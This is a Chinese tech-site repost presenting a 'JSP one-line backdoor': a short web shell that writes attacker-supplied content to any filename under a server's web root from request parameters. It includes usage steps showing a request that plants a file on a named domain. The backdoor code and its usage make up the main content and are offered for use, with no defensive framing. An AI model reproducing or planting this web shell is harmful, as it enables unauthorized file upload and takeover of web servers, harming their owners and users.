当前位置：主页 > 查看内容

JSP一句话后门

发布时间：2021-07-23 00:00| 有 位朋友查看

简介：% if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); % 使用方法: 提交url! jsp?f=1.txt"target="_blank"http://www.whitehouse.……
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>


使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld

然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld 

本文转载自网络，原文链接：https://m.jb51.net/article/6862.htm
本站部分内容转载于网络，版权归原作者所有，转载之目的在于传播更多优秀技术内容，如有侵权请联系QQ/微信：153890879删除，谢谢！
上一篇：张孝祥JAVA全集 Ftp下载[100%能下载] 下一篇：搭建Eclipse+MyEclipse开发环境

推荐图文

  • 周排行
  • 月排行
  • 总排行

随机推荐